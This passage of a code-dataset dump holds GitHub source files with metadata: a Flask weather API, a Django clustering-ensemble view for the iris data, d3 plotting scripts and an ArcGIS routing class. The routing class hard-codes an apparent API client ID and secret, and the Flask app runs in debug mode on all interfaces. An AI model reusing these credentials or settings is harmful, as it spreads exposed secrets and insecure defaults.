"content_id": "903dac0623f314d3c53d76dc3f612d424bb49872",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3698,
"license_type": "no_license",
"max_line_length": 145,
"num_lines": 107,
"path": "/flaskapp.py",
"repo_name": "nikethan1904/WeatharApp",
"src_encoding": "UTF-8",
"text": "from flask import Flask, request\nfrom flask_restful import Resource, Api\nfrom sqlalchemy import create_engine\nfrom json import dumps\nfrom flask_jsonpify import jsonify\nfrom flask import render_template\nfrom flask import abort\nimport json\nimport pandas as pd\nfrom datetime import datetime, timedelta\nfrom dateutil.parser import parse\n\ndb_connect = create_engine('sqlite:///daily.db')\napp = Flask(__name__)\napi = Api(app)\n\[email protected]('/')\ndef homepage():\n return render_template('index.html')\n\[email protected]('/historical/', methods=['GET', 'POST'])\ndef historical():\n if request.method == 'GET':\n dates_list = []\n conn = db_connect.connect()\n query = conn.execute(\"select DATE from daily\")\n my_hist = [i[0] for i in query.cursor.fetchall()]\n for item in my_hist:\n obj = {\"DATE\":item}\n dates_list.append(obj)\n return jsonify(dates_list)\n else:\n obj = {}\n conn = db_connect.connect()\n query = conn.execute(\"insert into daily(DATE,TMAX,TMIN) values (?,?,?)\",(request.json[\"DATE\"],request.json[\"TMAX\"],request.json[\"TMIN\"]))\n obj = {\n \"DATE\" : request.json[\"DATE\"]\n }\n return jsonify(obj), 201\n\n\[email protected]('/historical/<DATE>', methods=['GET','DELETE'])\ndef get_weather(DATE):\n if request.method == 'DELETE':\n conn = db_connect.connect()\n query = conn.execute(\"select DATE from daily where DATE=%d\" % int(DATE))\n result = [dict(zip(tuple(query.keys()), i)) for i in query.cursor]\n if(len(result)>0):\n query = conn.execute(\"delete from daily where DATE=%d\" % int(DATE))\n return \" \", 204\n else:\n abort(404)\n else:\n obj = {}\n conn = db_connect.connect()\n query = conn.execute(\"select DATE,TMAX,TMIN from daily where DATE =%d\" % int(DATE))\n result = [dict(zip(tuple(query.keys()), i)) for i in query.cursor]\n if(len(result)>0):\n for item in result:\n obj = {\n \"DATE\": item['date'],\n \"TMAX\": item['tmax'],\n \"TMIN\": item['tmin']\n }\n return jsonify(obj)\n else:\n abort(404)\n\n\[email protected]('/forecast/<DATE>')\ndef forecast_weather(DATE):\n lst_dates = []\n lst_obj = []\n current_date = pd.to_datetime(DATE,format='%Y%m%d')\n stop_date = current_date+timedelta(days=7)\n while current_date<stop_date:\n lst_dates.append(str(pd.to_datetime(current_date)).split(' ')[0].replace(\"-\",\"\"))\n current_date = current_date+timedelta(days=1)\n conn = db_connect.connect()\n for curr_date in lst_dates:\n query = conn.execute(\"select DATE,TMAX,TMIN from daily where DATE =%d\" % int(curr_date))\n result = [dict(zip(tuple(query.keys()), i)) for i in query.cursor]\n if (len(result) > 0):\n for item in result:\n obj = {\n \"DATE\": curr_date,\n \"TMAX\": item['tmax'],\n \"TMIN\": item['tmin']\n }\n lst_obj.append(obj)\n else:\n curr_1 = \"2013\"+curr_date[4:]\n query = conn.execute(\"select DATE,TMAX,TMIN from daily where DATE =%d\" % int(curr_1))\n result = [dict(zip(tuple(query.keys()), i)) for i in query.cursor]\n for item in result:\n obj = {\n \"DATE\": curr_date,\n \"TMAX\": item['tmax'],\n \"TMIN\": item['tmin']\n }\n lst_obj.append(obj)\n print(lst_obj)\n return jsonify(lst_obj)\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0' , port=5000 , debug=\"True\")\n\n"
}
] | 2 |
jose2008/viz_analytics | https://github.com/jose2008/viz_analytics | 296b4f042fedc3069ffe468a2f166b15a5e9812b | cb98502f4e9de0b983fc6d64daf4dfdb30be97f7 | 8b71f2a39b4200930b2c396b7ff11d372e1fffaa | refs/heads/master | 2020-04-03T13:55:15.129809 | 2018-11-30T20:22:04 | 2018-11-30T20:22:04 | 155,304,331 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.8876404762268066,
"alphanum_fraction": 0.8876404762268066,
"avg_line_length": 44,
"blob_id": "e65c05c770363b5a16e039df7d6c00fb45c447b7",
"content_id": "66b55bc002221f36ec2e44891a5c54076d6d6d87",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 89,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 2,
"path": "/mysite/polls/models/kMeans.py",
"repo_name": "jose2008/viz_analytics",
"src_encoding": "UTF-8",
"text": "from sklearn.datasets import load_iris\nfrom sklearn.neighbors import KNeighborsClassifier"
},
{
"alpha_fraction": 0.4444444477558136,
"alphanum_fraction": 0.5775336027145386,
"avg_line_length": 25.19354820251465,
"blob_id": "201c63f704554b7097fb66a00eb74d96ab04567f",
"content_id": "deb4d9949fa484370c81ca118cb6c932f839b8da",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 819,
"license_type": "no_license",
"max_line_length": 237,
"num_lines": 31,
"path": "/mysite/static/js/paintMatrix.js",
"repo_name": "jose2008/viz_analytics",
"src_encoding": "UTF-8",
"text": "function matrix10(options){\n\tcontainer = options.container;\n\tdata = options.data;\n\tvar width = 300;\nvar height = 300;\n\nvar colores_g = [\"#3366cc\", \"#dc3912\", \"#ff9900\", \"#109618\", \"#990099\", \"#0099c6\", \"#dd4477\", \"#66aa00\", \"#b82e2e\", \"#316395\", \"#994499\", \"#22aa99\", \"#aaaa11\", \"#6633cc\", \"#e67300\", \"#8b0707\", \"#651067\", \"#329262\", \"#5574a6\", \"#3b3eac\"];\n\n\n//create svg element\nvar svg = d3.select(container)\n\t.append(\"svg\")\n\t.data(data)\n\t.attr(\"width\",width)\n\t.attr(\"height\",height);\n\t//append circle\n\tdocument.write(\"before...\")\n\tfor(i=0; i<data.length; i++){\n\t\tfor(j=0; j<data.length; j++){\n\t\t\tif(data[i][j] == 1) c = 1;\n\t\t\telse c=0\n\t\t\tdocument.write(data.length)\n\t\t\tsvg.append(\"rect\")\n\t\t\t.attr(\"x\",1*j)\n\t\t\t.attr(\"y\",1*i)\n\t\t\t.attr(\"width\",5)\n\t\t\t.attr(\"height\",5)\n\t\t\t.attr(\"fill\", colores_g[c] );\t\n\t\t}\n\t}\n}\n\t\t\t\n\n\n\n"
},
{
"alpha_fraction": 0.5117765069007874,
"alphanum_fraction": 0.5357679724693298,
"avg_line_length": 32.19126892089844,
"blob_id": "e7b034842491da42358da9529a0b0885ddf5bc37",
"content_id": "d430ee8bf8f85ff557c65845129482797c673041",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 15964,
"license_type": "no_license",
"max_line_length": 152,
"num_lines": 481,
"path": "/mysite/polls/views.py",
"repo_name": "jose2008/viz_analytics",
"src_encoding": "UTF-8",
"text": "from django.shortcuts import render\nfrom django.utils import timezone\nimport numpy as np\nfrom polls.pca import create_file_json\nimport polls.somLib as somLib\nfrom sklearn.datasets import load_iris\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn import metrics\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix\nimport pandas as pd \nfrom sklearn.cluster import KMeans\nfrom sklearn import datasets\nfrom sklearn.decomposition import PCA as sklearnPCA\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.cluster import Birch\nimport metis\nimport subprocess\n\n#iris = load_breast_cancer()\niris = datasets.load_iris()\nX_train, X_test, y_train, y_test = train_test_split(iris.data, iris.target, test_size=0.3, shuffle = True, random_state = 2) # 70% training and 30% test\n\n\n\nsklearn_pca = sklearnPCA(n_components=2)\nstd = StandardScaler().fit_transform(iris.data)\nfeature = sklearn_pca.fit_transform(std)\n\ndef most_common(lst, acurracy):\n if (lst[0]!=lst[1]) and (lst[0]!=lst[2]) and (lst[1]!=lst[2]):\n return lst[acurracy.index(max(acurracy))]\n else:\n return max(set(lst), key=lst.count)\n\n\ndef index(request):\n X_train, X_test, y_train, y_test = train_test_split(iris.data, iris.target, test_size=0.3, shuffle = True, random_state = 2) # 70% tra$\n acurracy_list = []\n \n\n ############################################### k-Means clustering ##################################################\n kmean = KMeans(n_clusters=3)\n print( 'type: ', type( iris.data ) )\n #np.random.shuffle( iris.data )\n kmean.fit(iris.data)\n\n matrix_feature_kmean = np.matrix(feature)\n matrix_label_knn = np.matrix(kmean.labels_).transpose()\n index = np.matrix(np.arange(150)).transpose()\n\n matrix_general = np.concatenate((matrix_feature_kmean, matrix_label_knn), axis=1)\n tolist_knn = matrix_general.tolist()\n v1 = kmean.predict(iris.data)\n acurracy_list.append(metrics.adjusted_rand_score(iris.target, kmean.predict(iris.data)) )\n\n print(\"kmean: \")\n print(metrics.adjusted_rand_score(iris.target, kmean.predict(iris.data)))\n\n\n ################################################# birch clustering #####################################################\n birch = Birch(branching_factor=50, n_clusters=3, threshold=0.5)\n birch.fit(iris.data)\n\n matrix__feature_birch = np.matrix(feature)\n matrix_label_birch = np.matrix(birch.labels_).transpose()\n\n matrix_general_birch = np.concatenate((matrix__feature_birch, matrix_label_birch), axis=1)\n tolist_birch = matrix_general_birch.tolist()\n v2 = birch.predict(iris.data)\n acurracy_list.append(metrics.adjusted_rand_score(iris.target, birch.predict(iris.data)) )\n print(\"birch:\")\n print(metrics.adjusted_rand_score(iris.target, birch.predict(iris.data)))\n\n tolist_birch_test = tolist_birch\n frequency = {}\n for i in range(len(iris.target)):\n if v2[i] == 0:\n count = frequency.get(v1[i], 0)\n frequency[v1[i]] = count +1\n value_0 = max(frequency, key=frequency.get)\n\n frequency2 = {}\n for i in range(len(iris.target)):\n if v2[i] == 1:\n count = frequency2.get(v1[i], 0)\n frequency2[v1[i]] = count +1\n value_1 = max(frequency2, key=frequency2.get)\n\n frequency3 = {}\n for i in range(len(iris.target)):\n if v2[i] == 2:\n count = frequency3.get(v1[i], 0)\n frequency3[v1[i]] = count +1\n value_2 = max(frequency3, key=frequency3.get)\n\n list_dict = list(frequency.keys())\n if(list_dict[0]!=value_1 and list_dict[0]!=value_2):\n value_0 = list_dict[0]\n else:\n value_0 = list_dict[1]\n\n\n for i in range(len(iris.target)):\n if v2[i] == 1:\n tolist_birch_test[i][2] = value_1\n\n for i in range(len(iris.target)):\n if v2[i] == 2:\n tolist_birch_test[i][2] = value_2\n\n for i in range(len(iris.target)):\n if v2[i] == 0:\n tolist_birch_test[i][2] = value_0\n\n for i in range(len(iris.target)):\n v2[i] = tolist_birch[i][2]\n\n\n ################################################## SOM clustering ######################################################\n df_train = pd.DataFrame( iris.data, columns=iris.feature_names)\n df_test = pd.DataFrame( X_test , columns=iris.feature_names)\n df_original = df_train\n agri_som = somLib.SOM(1,3,4)\n df_train = df_train / df_train.max()\n df_test = df_test / df_test.max()\n agri_som.train(df_train.values,\n num_epochs=200,\n init_learning_rate=0.01\n )\n\n def predict(df):\n bmu, bmu_idx = agri_som.find_bmu(df.values)\n df['bmu'] = bmu\n df['bmu_idx'] = bmu_idx[1]#bmu_idx\n return df\n clustered_df = df_train.apply(predict, axis=1)\n\n matrix__feature_som = np.matrix(feature)\n matrix_label_som = np.matrix(clustered_df['bmu_idx'] ).transpose()\n matrix_general_som = np.concatenate((matrix__feature_som, matrix_label_som), axis=1)\n tolist_som = matrix_general_som.tolist()\n acurracy_list.append(metrics.adjusted_rand_score(iris.target, clustered_df['bmu_idx']) )\n print(\"som\")\n print(metrics.adjusted_rand_score(iris.target, clustered_df['bmu_idx']))\n v3 = clustered_df['bmu_idx']\n\n\n tolist_som_test = tolist_som\n frequency_som_1 = {}\n for i in range(len(iris.target)):\n if v3[i] == 0:\n count = frequency_som_1.get(v1[i], 0)\n frequency_som_1[v1[i]] = count +1\n value_som_0 = max(frequency_som_1, key=frequency_som_1.get)\n\n\n frequency_som_2 = {}\n for i in range(len(iris.target)):\n if v3[i] == 1:\n count = frequency_som_2.get(v1[i], 0)\n frequency_som_2[v1[i]] = count +1\n value_som_1 = max(frequency_som_2, key=frequency_som_2.get)\n\n\n frequency_som_3 = {}\n for i in range(len(iris.target)):\n if v3[i] == 2:\n count = frequency_som_3.get(v1[i], 0)\n frequency_som_3[v1[i]] = count +1\n value_som_2 = max(frequency_som_3, key=frequency_som_3.get)\n\n\n list_dict2 = list(frequency_som_1.keys())\n if(list_dict2[0]!=value_som_1 and list_dict2[0]!=value_som_2):\n value_som_0= list_dict2[0]\n else:\n value_som_0 = list_dict2[1]\n\n \n for i in range(len(iris.target)):\n if v3[i] == 1:\n tolist_som_test[i][2] = value_som_1\n\n for i in range(len(iris.target)):\n if v3[i] == 2:\n tolist_som_test[i][2] = value_som_2\n\n\n for i in range(len(iris.target)):\n if v3[i] == 0:\n tolist_som_test[i][2] = value_som_0\n\n\n for i in range(len(iris.target)):\n v3[i] = tolist_som_test[i][2]\n\n\n ############################################## ensamble voting #############################################################\n voting = list()\n for i in range(len(iris.data)):\n voting.append( most_common( list([v1[i], v2[i], v3[i]]), acurracy_list) )\n\n l = np.array(voting)\n\n matrix__feature_voting = np.matrix(feature)\n matrix_label_voting = np.matrix(l ).transpose()\n matrix_general_voting = np.concatenate((matrix__feature_voting, matrix_label_voting), axis=1)\n tolist_voting = matrix_general_voting.tolist()\n print(\"voting\")\n print(metrics.adjusted_rand_score(iris.target, l ))\n\n\n ############################################ make matriz k-means && birch && som ##########################################################\n s1_knn = set()\n s2_knn = set()\n s3_knn = set()\n s1_birch = set()\n s2_birch = set()\n s3_birch = set()\n s1_som = set()\n s2_som = set()\n s3_som = set()\n\n list_set = []\n list_set.append(s1_knn)\n list_set.append(s2_knn)\n list_set.append(s3_knn)\n list_set.append(s1_birch)\n list_set.append(s2_birch)\n list_set.append(s3_birch)\n list_set.append(s1_som)\n list_set.append(s2_som)\n list_set.append(s2_som)\n\n\n print(\"list birch .......................\")\n print(tolist_birch_test)\n n = len(kmean.labels_)\n for i in range(n):\n if kmean.labels_[i] == 0:\n s1_knn.add(i)\n if kmean.labels_[i] == 1:\n s2_knn.add(i)\n if kmean.labels_[i] == 2:\n s3_knn.add(i)\n if tolist_birch_test[i][2] == 0:\n s1_birch.add(i)\n if tolist_birch_test[i][2] == 1:\n s2_birch.add(i)\n if tolist_birch_test[i][2] == 2:\n s3_birch.add(i)\n if tolist_som_test[i][2] == 0:\n s1_som.add(i)\n if tolist_som_test[i][2] == 1:\n s2_som.add(i)\n if tolist_som_test[i][2] == 2:\n s3_som.add(i)\n \n matrix = np.zeros((n, n))\n matrix_birch = np.zeros((n, n))\n matrix_som = np.zeros((n, n))\n\n for i in range(len(s1_knn)):\n for j in range(len(s1_knn)):\n matrix[i][j] = 1\n\n for i in range(len(s2_knn)):\n for j in range(len(s2_knn)):\n matrix[i + len(s1_knn)][j +len(s1_knn)] = 1\n \n for i in range(len(s3_knn)):\n for j in range(len(s3_knn)):\n matrix[i +len(s1_knn) + len(s2_knn)][j+len(s1_knn) + len(s2_knn)] = 1\n\n\n\n for i in range(len(s1_birch)):\n for j in range(len(s1_birch)):\n matrix_birch[i][j] = 1\n\n for i in range(len(s2_birch)):\n for j in range(len(s2_birch)):\n matrix_birch[i + len(s1_birch)][j +len(s1_birch)] = 1\n \n for i in range(len(s3_birch)):\n for j in range(len(s3_birch)):\n matrix_birch[i +len(s1_birch) + len(s2_birch)][j+len(s1_birch) + len(s2_birch)] = 1\n\n\n\n for i in range(len(s1_som)):\n for j in range(len(s1_som)):\n matrix_som[i][j] = 1\n\n for i in range(len(s2_som)):\n for j in range(len(s2_som)):\n matrix_som[i + len(s1_som)][j +len(s1_som)] = 1\n \n for i in range(len(s3_som)):\n for j in range(len(s3_som)):\n matrix_som[i +len(s1_som) + len(s2_som)][j+len(s1_som) + len(s2_som)] = 1\n\n\n\n\n\n #for i in range(n):\n # for j in range(n):\n #if (i in s1_knn and j in s1_knn) or (i in s2_knn and j in s2_knn) or (i in s3_knn and j in s3_knn):\n # matrix[i][j] = 1\n #else:\n # matrix[i][j] = 0\n # if (i in s1_birch and j in s1_birch) or (i in s2_birch and j in s2_birch) or (i in s3_birch and j in s3_birch):\n # matrix_birch[i][j] = 1\n # else:\n # matrix_birch[i][j] = 0\n # if (i in s1_som and j in s1_som) or (i in s2_som and j in s2_som) or (i in s3_som and j in s3_som):\n # matrix_som[i][j] = 1\n # else:\n # matrix_som[i][j] = 0\n\n h = np.zeros((n, len(list_set)))\n list_matriz_kmean = matrix.tolist()\n list_matriz_birch = matrix_birch.tolist()\n list_matriz_som = matrix_som.tolist()\n\n\n ############################################### matrix ghpa ############################################################\n\n for i in range(n):\n for j in range(len(list_set)):\n if i in list_set[j]:\n h[i][j] = 1\n else:\n h[i][j] = 0\n h_t = h.transpose()\n s = (0.3)*h.dot(h_t)\n list_matrix_s = s.tolist()\n\n ############################################ algorithm ghpa ###########################################################\n list_ad = []\n for i in range(n):\n list_tmp = []\n for j in range(n):\n if(list_matrix_s[i][j] == 0):\n continue\n else:\n t = (j, int(round(10*list_matrix_s[i][j])))\n list_tmp.append(t)\n list_ad.append(list_tmp)\n\n cuts, parts = metis.part_graph(list_ad, 3, recursive = False, dbglvl=metis.METIS_DBG_ALL)\n\n matrix__feature_cspa = np.matrix(feature)\n\n matrix_label_cspa = np.matrix(parts).transpose()\n matrix_general_cspa = np.concatenate((matrix__feature_cspa, matrix_label_cspa), axis=1)\n tolist_cspa = matrix_general_cspa.tolist()\n print(\"ghpa\")\n print(metrics.adjusted_rand_score(iris.target, np.array(parts)))\n\n v4 = parts\n tolist_cspa_test = tolist_cspa\n frequency_cspa = {}\n for i in range(len(iris.target)):\n if v4[i] == 0:\n count = frequency_cspa.get(v1[i], 0)\n frequency_cspa[v1[i]] = count +1\n val_0 = max(frequency_cspa, key=frequency_cspa.get)\n\n frequency2_cspa = {}\n for i in range(len(iris.target)):\n if v4[i] == 1:\n count = frequency2_cspa.get(v1[i], 0)\n frequency2_cspa[v1[i]] = count +1\n val_1 = max(frequency2_cspa, key=frequency2_cspa.get)\n\n frequency3_cspa = {}\n for i in range(len(iris.target)):\n if v4[i] == 2:\n count = frequency3_cspa.get(v1[i], 0)\n frequency3_cspa[v1[i]] = count +1\n val_2 = max(frequency3_cspa, key=frequency3_cspa.get)\n\n list_dict_cspa = list(frequency_cspa.keys())\n if(list_dict_cspa[0]!=val_1 and list_dict_cspa[0]!=val_2):\n val_0 = list_dict_cspa[0]\n else:\n val_0 = list_dict_cspa[1]\n\n\n for i in range(len(iris.target)):\n if v4[i] == 1:\n tolist_cspa_test[i][2] = val_1\n\n for i in range(len(iris.target)):\n if v4[i] == 2:\n tolist_cspa_test[i][2] = val_2\n\n for i in range(len(iris.target)):\n if v4[i] == 0:\n tolist_cspa_test[i][2] = val_0\n\n for i in range(len(iris.target)):\n v4[i] = tolist_cspa[i][2]\n\n\n s1_cspa = set()\n s2_cspa = set()\n s3_cspa = set()\n\n print(\"cspa list......................................\")\n print(tolist_cspa_test)\n for i in range(n):\n if tolist_cspa_test[i][2] == 0:\n s1_cspa.add(i)\n if tolist_cspa_test[i][2] == 1:\n s2_cspa.add(i)\n if tolist_cspa_test[i][2] == 2:\n s3_cspa.add(i)\n\n\n matrix_cspa = np.zeros((n, n))\n for i in range(len(s1_cspa)):\n for j in range(len(s1_cspa)):\n matrix_cspa[i][j] = 1\n\n for i in range(len(s2_cspa)):\n for j in range(len(s2_cspa)):\n matrix_cspa[i + len(s1_cspa)][j +len(s1_cspa)] = 1\n \n for i in range(len(s3_cspa)):\n for j in range(len(s3_cspa)):\n matrix_cspa[i +len(s1_cspa) + len(s2_cspa)][j+len(s1_cspa) + len(s2_cspa)] = 1\n\n\n list_matriz_cspa = matrix_cspa.tolist()\n\n\n ############################################### HGPA #################################################################\n file = open(\"test.txt\",\"w\")\n file.write(str(9)+ \" \"+ str(len(iris.data)))\n file.write('\\n')\n #print(list_set[0][0])\n for i in range(9):\n for e in list_set[i]:\n file.write( str(e+1).rstrip('\\n')+\" \" ) \n file.write('\\n')\n file.close()\n print(\"************************************+hmetis+**************************************\")\n subprocess.call([\"./hmetis\",\"test.txt\", \"3\", \"2\", \"10\", \"5\", \"3\", \"0\", \"0\" ,\"0\"])\n file = open(\"test.txt.part.3\", \"r\") \n list_hgpa = []\n for line in file:\n list_hgpa.append(int(line))\n\n\n matrix__feature_hgpa = np.matrix(feature)\n matrix_label_hgpa = np.matrix(list_hgpa).transpose()\n\n matrix_general_hgpa = np.concatenate((matrix__feature_hgpa, matrix_label_hgpa), axis=1)\n tolist_hgpa = matrix_general_hgpa.tolist()\n print(\"HGPA\")\n print(metrics.adjusted_rand_score(iris.target, np.array(list_hgpa)))\n #print(tolist_hgpa)\n\n ############################################### seding model to view ###################################################\n list_model = []\n list_model.append(tolist_knn)\n list_model.append(tolist_birch_test)\n list_model.append(tolist_som_test)\n list_model.append(tolist_voting)\n list_model.append(list_matriz_kmean)\n list_model.append(list_matriz_birch)\n list_model.append(list_matriz_som)\n list_model.append(list_matrix_s)\n list_model.append(tolist_cspa_test)\n list_model.append(tolist_hgpa)\n list_model.append(list_matriz_cspa)\n return render(request,'index.html', {\"model_list\":list_model})"
},
{
"alpha_fraction": 0.5167894959449768,
"alphanum_fraction": 0.5483210682868958,
"avg_line_length": 23.928571701049805,
"blob_id": "2d3a9cedb789009068f25414a727baefc44af5df",
"content_id": "98118b6df1cc52a358bf20bf9831eca39e4acc5b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 2442,
"license_type": "no_license",
"max_line_length": 81,
"num_lines": 98,
"path": "/mysite/static/js/script3.js",
"repo_name": "jose2008/viz_analytics",
"src_encoding": "UTF-8",
"text": "var margin = {top: 20, right: 20, bottom: 30, left: 40},\n width = 960 - margin.left - margin.right, \n height = 500 - margin.top - margin.bottom;\n\nvar numberOfPoints = 100;\nvar pointRadius = 9;\n\n\n\n\n//var confusionMatrix2 = gConfusionMatrix2;\n\n\nfunction createConfusionMatrix4(options) {\n var width = 200;\n var height = 200;\n var container = options.container;\n var legend = options.legend;\n\n\n var xExtent = d3.extent(model_birch, function(d) { return d[0] });\n var yExtent = d3.extent(model_birch, function(d) { return d[1] });\n var xRange = xExtent[1] - xExtent[0];\n var yRange = yExtent[1] - yExtent[0];\n\n\n\n\n var svg = d3.select(container).append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right)\n .attr(\"height\", height + margin.top + margin.bottom)\n .append(\"g\")\n .attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\");\n\n\n var x = d3.scale.linear()\n .domain([xExtent[0] - xRange*0.1, xExtent[1] + xRange*0.1])\n .range([0, width]);\n\n var y = d3.scale.linear()\n .domain([yExtent[0] - yRange*0.1, yExtent[1] + yRange*0.1])\n .range([height, 0]);\n\n var color = d3.scale.category10();\n //var color = d3.scaleOrdinal(d3.schemeCategory10);\n\n //console.info( color(1) );\n //console.info( color(2) );\n //console.info( color(3) );\n\n var xAxis = d3.svg.axis()\n .scale(x)\n .orient(\"bottom\");\n\n var yAxis = d3.svg.axis()\n .scale(y)\n .orient(\"left\");\n\n\n svg.append(\"g\")\n .attr(\"class\", \"x axis\")\n .attr(\"transform\", \"translate(0,\" + height + \")\")\n .call(xAxis)\n .append(\"text\")\n .attr(\"class\", \"label\")\n .attr(\"x\", width)\n .attr(\"y\", -6)\n .style(\"text-anchor\", \"end\")\n .text(\"Sepal Width (cm)\");\n\n svg.append(\"g\")\n .attr(\"class\", \"y axis\")\n .call(yAxis)\n .append(\"text\")\n .attr(\"class\", \"label\")\n .attr(\"transform\", \"rotate(-90)\")\n .attr(\"y\", 6)\n .attr(\"dy\", \".71em\")\n .style(\"text-anchor\", \"end\")\n .text(\"Sepal Length (cm)\")\n\n\n\n svg.selectAll(\".dot\")\n .data(model_birch)\n .enter().append(\"circle\")\n .attr(\"id\",function(d,i) {return \"dot_\" + i;}) // added\n .attr(\"class\", \"dot\")\n .attr(\"r\", 3.5)\n .attr(\"cx\", function(d) { return x(d[0]); })\n .attr(\"cy\", function(d) { return y(d[1]); })\n .style(\"fill\", function(d) { document.write(d[2]); return color(d[2]); });\n\n\n\n\n\n}"
},
{
"alpha_fraction": 0.6824196577072144,
"alphanum_fraction": 0.6928166151046753,
"avg_line_length": 26.86842155456543,
"blob_id": "afb33734a256f3b1c8d687cce4c38bcf82444dbf",
"content_id": "226bfccfbfe041cec09b2b9d5ad13fc4e7780729",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1058,
"license_type": "no_license",
"max_line_length": 81,
"num_lines": 38,
"path": "/mysite/polls/pca.py",
"repo_name": "jose2008/viz_analytics",
"src_encoding": "UTF-8",
"text": "from sklearn.decomposition import PCA as sklearnPCA\nfrom sklearn.preprocessing import StandardScaler\nimport pandas as pd \nimport numpy as np \nimport json\n\n\ndef create_file_json():\n\turl = \"https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data\"\n\n\t#assign colum names to the dataset\n\tnames = ['sepal-length', 'sepal-width', 'petal-length', 'petal-width', 'Class']\n\n\t#read dataset to pandas dataframe\n\tdf = pd.read_csv(url, names=names)\n\tX = df.ix[:,0:4].values\n\ty = df.ix[:,4].values\n\n\tX_std = StandardScaler().fit_transform(X)\n\tsklearn_pca = sklearnPCA(n_components=2)\n\tY_learn = sklearn_pca.fit_transform(X_std)\n\n\tmatrix_label = np.matrix(y).transpose()\n\tmatrix_feature = np.matrix(Y_learn)\n\n\tmatrix_general = np.concatenate((matrix_feature, matrix_label), axis=1)\n\n\tl = []\n\tfor i in range(matrix_general.shape[0]-1):\n\t\tk=i*3\n\t\td = {}\n\t\td[\"x\"] = matrix_general.item(k)\n\t\td[\"y\"] = matrix_general.item(k+1)\n\t\td[\"label\"] = matrix_general.item(k+2)\n\t\tl.append(d)\n\n\twith open('static/js/data2.json', 'w') as outfile: \n\t json.dump(l, outfile)"
}
] | 5 |
SafeNavDev/SafeNav2.0 | https://github.com/SafeNavDev/SafeNav2.0 | 685b6a5636c5e14b1d34d9750cc66f7b64bd5a31 | d0a7ad77f91ada839bcfd0e38cd5c299ff2e5cfc | 6185b9f6002a4c43241f77ffe47f829be94fbf0a | refs/heads/master | 2021-01-10T22:46:28.960488 | 2016-10-09T05:28:21 | 2016-10-09T05:28:21 | 70,353,773 | 0 | 0 | null | 2016-10-08T19:46:00 | 2016-10-08T19:49:16 | 2016-10-09T04:28:00 | Python | [
{
"alpha_fraction": 0.5354668498039246,
"alphanum_fraction": 0.5612009167671204,
"avg_line_length": 35.08333206176758,
"blob_id": "ec30476009b22f1ad6cec69190b7b8b2647cf48d",
"content_id": "833ccc129b1b2e5f083e4732b681d21f0a0e051b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3031,
"license_type": "no_license",
"max_line_length": 145,
"num_lines": 84,
"path": "/FilteredPath.py",
"repo_name": "SafeNavDev/SafeNav2.0",
"src_encoding": "UTF-8",
"text": "# print(data.json().keys()) to find all keys in dict\nimport requests\nimport math\n\nearth_radius = 3960.0\ndegrees_to_radians = math.pi / 180.0\nradians_to_degrees = 180.0 / math.pi\n\n\nclass FilteredPath:\n def get_data(lat1, long1, lat2, long2):\n # generate a token with your client id and client secret\n # print(token.json()['access_token'])\n token = FilteredPath.gen_token()\n coordinates = long1 + \",\" + lat1 + \"; \" + long2 + \",\" + lat2\n\n data = requests.post('http://route.arcgis.com/arcgis/rest/services/World/Route/NAServer/Route_World/solve?stops=' + coordinates, params={\n 'f': 'json',\n 'token': token.json()['access_token'],\n 'studyAreas': '[{\"geometry\":{\"x\":-117.1956,\"y\":34.0572}}]'\n })\n return data.json()['routes']['features'][0]['geometry']['paths'][0]\n\n def gen_token():\n token = requests.post('https://www.arcgis.com/sharing/rest/oauth2/token/', params={\n 'f': 'json',\n 'client_id': 'OYBSyP4UMttEkIlp',\n 'client_secret': '65057b2bafcf4e27bde6bcabff2dcc3c',\n 'grant_type': 'client_credentials',\n 'expiration': '1440'\n })\n return token\n\n def change_in_latitude(miles):\n # \"Given a distance north, return the change in latitude.\"\n return (miles / earth_radius) * radians_to_degrees\n\n def change_in_longitude(latitude, miles):\n # Given a latitude and a distance west, return the change in longitude\n # Find the radius of a circle around the earth at given latitude.\n r = earth_radius * math.cos(latitude * degrees_to_radians)\n return (miles / r) * radians_to_degrees\n\n def filter_path_average(path):\n filtered_path = []\n long_diffs = []\n lat_diffs = []\n avg_delta_long = 0\n avg_delta_lat = 0\n sum1 = 0\n sum2 = 0\n\n for x in range(1, len(path)):\n long_diffs.append(abs(path[x][0] - path[x - 1][0]))\n lat_diffs.append(abs(path[x][1] - path[x - 1][1]))\n\n for x in long_diffs:\n sum1 += x\n avg_delta_long = sum1 / len(long_diffs)\n\n for x in lat_diffs:\n sum2 += x\n avg_delta_lat = sum2 / len(lat_diffs)\n\n for x in range(1, len(path)):\n if long_diffs[x - 1] < avg_delta_long and lat_diffs[x - 1] < avg_delta_lat:\n filtered_path.append(path[x])\n return filtered_path\n\n def filter_path_theory(path, segment):\n delta_lat = FilteredPath.change_in_latitude(segment)\n delta_long = FilteredPath.change_in_longitude(42.3314, segment)\n filtered_path = []\n long_diffs = []\n lat_diffs = []\n\n for x in range(1, len(path)):\n long_diffs.append(abs(path[x][0] - path[x - 1][0]))\n lat_diffs.append(abs(path[x][1] - path[x - 1][1]))\n\n for x in range(1, len(path)):\n if long_diffs[x - 1] < delta_long and lat_diffs[x - 1] < delta_lat:\n filtered_path.append(path[x])\n return filtered_path\n"
},
{
"alpha_fraction": 0.603154182434082,
"alphanum_fraction": 0.6144190430641174,
"avg_line_length": 50.78333282470703,
"blob_id": "d8e382fe89093cee235bdd9a3f812dc64c9fbb26",
"content_id": "10a0412910895d1625470ca13e21123b1700607b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
